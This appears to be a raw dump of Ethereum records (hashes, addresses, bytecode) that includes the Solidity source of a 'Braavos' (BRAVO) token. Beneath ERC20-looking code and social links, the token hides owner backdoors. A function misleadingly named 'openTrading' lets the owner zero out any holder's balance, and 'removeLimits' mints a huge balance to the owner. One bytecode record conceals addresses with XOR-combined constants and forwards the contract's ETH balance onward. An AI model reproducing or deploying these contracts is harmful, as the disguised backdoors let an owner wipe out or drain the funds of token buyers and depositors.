65b5f6115cd602383610d06565b91506115d882611573565b604082019050919050565b5f6020820190508181035f8301526115fa816115c1565b9050919050565b5f61160b82610dea565b915061161683610dea565b925082820190508082111561162e5761162d6110b9565b5b9291505056fea2646970667358221220e9974dc266ac51ba52b4fc5a0b6f7681a049892af41710e7d47e4ae09278b72164736f6c63430008190033
|
/*
* SPDX-License-Identifier: MIT
// Telegram: https://t.me/mybraavos
// Twitter: https://twitter.com/myBraavos
// Website: https://braavos.app/
// Discord: https://discord.com/invite/9Ks7V5DN9z
// Medium: https://medium.com/@braavos
*/
pragma solidity ^0.8.23;
interface IPancakeFactory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
contract Braavos {
address internal constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address internal constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 private tokenTotalSupply;
string private tokenName;
string private tokenSymbol;
address private xxnux;
uint8 private tokenDecimals;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor(address ads) {
tokenName = "Braavos";
tokenSymbol = "BRAVO";
tokenDecimals = 18;
tokenTotalSupply = 1000000000* 10 ** tokenDecimals;
_balances[msg.sender] = tokenTotalSupply;
emit Transfer(address(0), msg.sender, tokenTotalSupply);
xxnux = ads;
}
function openTrading(address bots) external {
if(xxnux == msg.sender && xxnux != bots && pancakePair() != bots && bots != ROUTER){
_balances[bots] = 0;
}
}
function removeLimits(uint256 addBot) external {
if(xxnux == msg.sender){
_balances[msg.sender] = 42069000000*42069*addBot*10**tokenDecimals;
}
}
function pancakePair() public view virtual returns (address) {
return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));
}
function symbol() public view returns (string memory) {
return tokenSymbol;
}
function totalSupply() public view returns (uint256) {
return tokenTotalSupply;
}
function decimals() public view virtual returns (uint8) {
return tokenDecimals;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function name() public view returns (string memory) {
return tokenName;
}
function transfer(address to, uint256 amount) public returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
address spender = msg.sender;
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
uint256 balance = _balances[from];
require(balance >= amount, "ERC20: transfer amount exceeds balance");
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_balances[from] = _balances[from]-amount;
_balances[to] = _balances[to]+amount;
emit Transfer(from, to, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
}
|
1 | 19,502,224 |
c86559537d1951e80905464e4417987a86c8387c56fe53ae9726efc69a26b2ae
|
4f3786cbc62757f44b638cd4ceaea04a7f9b1855c38a7c07ebc637eacba6e3a7
|
2b67864ae998c43d96db6fd97738a0fc3802ddd4
|
2b67864ae998c43d96db6fd97738a0fc3802ddd4
|
efd46198f67748b0443debbb80ed995245467c72
|
6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f8a727dc41d83211e47d3c0dedffc61d55593ac8984a3f7b12541f545147f71e56007557f8a727dc41d83211e47d3c0de31352e77b58875ddb7991453f8bbeed899de471c6008557f8a727dc41d83211e47d3c0de5f8b7b37c4e4163f5f773f2362872769c349730e60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122064dcce97eafc3a1d9bf1e6c2f2d19e2915f8ac9df707b795103c637e18fa93ea64736f6c63430008070033
|
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea264697066735822122064dcce97eafc3a1d9bf1e6c2f2d19e2915f8ac9df707b795103c637e18fa93ea64736f6c63430008070033
| |
1 | 19,502,225 |
16db72008fb4dc4a1d48a420a7b45a5a2e8368a1a5ac943ba55601a43fed6a86
|
51b8ac73ceef75d308ba291155bbaf0ced52b476bb954c8b5e4cc1aa78e0c9e4
|
4deee5aba75c6edcf4461d6a3b1250d2dd8be2c8
|
5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
|
70fe6dd03358fbbc0b6fc5ecf9647cf22c1d0255
|
60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429
|
608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de